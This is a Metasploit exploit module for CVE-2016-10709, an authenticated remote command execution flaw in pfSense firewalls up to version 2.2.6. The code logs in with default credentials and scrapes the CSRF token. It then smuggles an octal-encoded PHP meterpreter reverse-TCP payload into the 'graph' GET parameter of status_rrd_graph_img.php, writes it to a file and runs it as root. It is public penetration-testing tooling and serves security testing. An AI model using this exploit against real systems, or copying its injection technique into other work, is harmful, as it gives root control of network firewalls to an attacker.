##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name'        => 'pfSense authenticated graph status RCE',
        'Description' => %q(
          pfSense, a free BSD based open source firewall distribution,
          version <= 2.2.6 contains a remote command execution
          vulnerability post authentication in the _rrd_graph_img.php page.
          The vulnerability occurs via the graph GET parameter. A non-administrative
          authenticated attacker can inject arbitrary operating system commands
          and execute them as the root user. Verified against 2.2.6, 2.2.5, and 2.1.3.
        ),
        'Author'      =>
          [
            'Security-Assessment.com', # discovery
            'Milton Valencia',         # metasploit module <wetw0rk>
            'Jared Stephens',          # python script     <mvrk>
          ],
        'References'  =>
          [
            [ 'CVE', '2016-10709' ],
            [ 'EDB', '39709' ],
            [ 'URL', 'http://www.security-assessment.com/files/documents/advisory/pfsenseAdvisory.pdf']
          ],
        'License'        => MSF_LICENSE,
        'Platform'       => 'php',
        'Privileged'     => 'true',
        'DefaultOptions' =>
          {
            'SSL'     => true,
            'PAYLOAD' => 'php/meterpreter/reverse_tcp',
            'Encoder' => 'php/base64'
          },
        'Arch'           => [ ARCH_PHP ],
        'Payload'        =>
          {
            'Space'  => 6000,
            'Compat' =>
              {
                'ConnectionType' => '-bind',
              }
          },
        'Targets'        => [[ 'Automatic Target', {} ]],
        'DefaultTarget'  => 0,
        'DisclosureDate' => '2016-04-18',
      )
    )

    register_options(
      [
        OptString.new('USERNAME',  [ true, 'User to login with', 'admin']),
        OptString.new('PASSWORD',  [ true, 'Password to login with', 'pfsense']),
        Opt::RPORT(443)
      ], self.class
    )
  end

  def login
    res = send_request_cgi(
      'uri' => '/index.php',
      'method' => 'GET'
    )
    fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
    fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200

    /var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body
    fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil?
    vprint_status("CSRF Token for login: #{csrf}")

    res = send_request_cgi(
      'uri' => '/index.php',
      'method' => 'POST',
      'vars_post' => {
        '__csrf_magic' => csrf,
        'usernamefld'  => datastore['USERNAME'],
        'passwordfld'  => datastore['PASSWORD'],
        'login'        => ''
      }
    )
    unless res
      fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to authentication request")
    end
    if res.code == 302
      vprint_status("Authentication successful: #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
      return res.get_cookies
    else
      fail_with(Failure::UnexpectedReply, "#{peer} - Authentication Failed: #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
      return nil
    end
  end

  def detect_version(cookie)
    res = send_request_cgi(
      'uri' => '/index.php',
      'method' => 'GET',
      'cookie' => cookie
    )
    unless res
      fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to authentication request")
    end
    /Version.+<strong>(?<version>[0-9\.\-RELEASE]+)[\n]?<\/strong>/m =~ res.body
    if version
      print_status("Detected pfSense #{version}, uploading intial payload")
      return Rex::Version.new(version)
    end
    # If the device isn't fully setup, you get stuck at redirects to wizard.php
    # however, this does NOT stop exploitation strangely
    print_error('pfSense version not detected or wizard still enabled.')
    Rex::Version.new('0.0')
  end

  def exploit
    begin
      cookie   = login
      version  = detect_version(cookie)
      filename = rand_text_alpha(rand(1..10))

      # generate the PHP meterpreter payload
      stager = 'echo \'<?php '
      stager << payload.encode
      stager << "?>\' > #{filename}"
      # here we begin the encoding process to
      # convert the payload to octal! Ugly code
      # don't look
      complete_stage = ""
      for i in 0..(stager.length()-1)
        if version.to_s =~ /2.2/
          complete_stage << '\\'
        end
        complete_stage << "\\#{stager[i].ord.to_s(8)}"
      end

      res = send_request_cgi(
        'uri'      => '/status_rrd_graph_img.php',
        'method'   => 'GET',
        'cookie'   => cookie,
        'vars_get' => {
          'database' => '-throughput.rrd',
          'graph'    => "file|printf '#{complete_stage}'|sh|echo",
        }
      )

      if res && res.code == 200
        print_status('Payload uploaded successfully, executing')
        register_file_for_cleanup(filename)
      else
        print_error('Failed to upload payload...')
      end

      res = send_request_cgi({
        'uri'     => '/status_rrd_graph_img.php',
        'method'  => 'GET',
        'cookie'  => cookie,
        'vars_get' => {
          'database' => '-throughput.rrd',
          'graph'    => "file|php #{filename}|echo "
        }
      })
      disconnect
    end
  end
end